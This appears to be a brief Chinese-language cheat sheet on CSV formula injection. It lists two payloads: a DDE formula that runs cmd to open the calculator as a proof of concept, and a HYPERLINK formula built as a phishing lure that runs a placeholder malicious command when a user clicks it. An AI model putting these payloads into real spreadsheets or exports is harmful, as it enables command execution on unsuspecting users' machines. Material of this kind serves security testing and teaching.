插入文件命令

csv漏洞示例

• 基础命令执行：=cmd|'/C calc'!A0，打开计算器验证漏洞有效性
• 超链接钓鱼执行：=HYPERLINK("cmd.exe /C 恶意命令", "点击查看详情")，诱导用户点击后执行系统指令